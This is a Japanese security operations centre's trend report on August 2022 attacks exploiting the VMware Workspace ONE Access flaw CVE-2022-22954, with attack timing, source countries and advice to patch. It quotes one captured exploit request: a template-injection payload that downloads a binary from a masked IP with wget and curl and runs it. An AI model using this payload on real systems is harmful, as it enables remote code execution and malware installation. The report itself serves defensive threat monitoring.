2022.09.14

2022年8月度 MBSD-SOCの検知傾向トピックス

著者：MBSD-SOC

VMware製品の脆弱性（CVE-2022-22954）を狙った攻撃

8月は、VMWare製品（VMware Workspace ONE Access／VMware Identity Manager等）の脆弱性を狙った攻撃が増加しました。

本脆弱性（CVE-2022-22954）は今年4月に公開されたもので、リモートから任意のコードを実行されてしまう恐れがあります。VMWare社ではCriticalに分類されており、CVSS値も9.8と高い脆弱性となっています。

弊社SOCでは、本脆弱性を狙った攻撃は4/12(火)から断続的に観測していましたが、8/18(木)に急増しました。下図は、2022年8月の攻撃数推移グラフです。主な攻撃元の国は、リトアニアとアメリカとなっていました。

下図は、弊社SOCで検知した攻撃のパケットペイロードです。不正なスクリプトが書かれたファイルをwgetコマンドで取得して実行しようとする通信となっています。

図. VMWare製品の脆弱性（CVE-2022-22954）を狙った攻撃検知例
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=${"freemarker.template.utility.Execute"?new()("cd /tmp; wget http://xx.xx.xx.xx/pedalcheta/cutie.x86_64; curl -O http://xx.xx.xx.xx/pedalcheta/cutie.x86_64; chmod 777 cutie.x86_64; ./cutie.x86_64 VMware")} HTTP/1.1 Host: xx.xx.xx.xx User-Agent: Anan mal 123 Connection: keep-alive

本脆弱性（CVE-2022-22954）の影響対象は以下の通りです。既にメーカーから対策済みのバージョンおよび回避策が公開されています。
影響対象の製品を使用している場合は、早急に対策することをお勧めいたします。

影響対象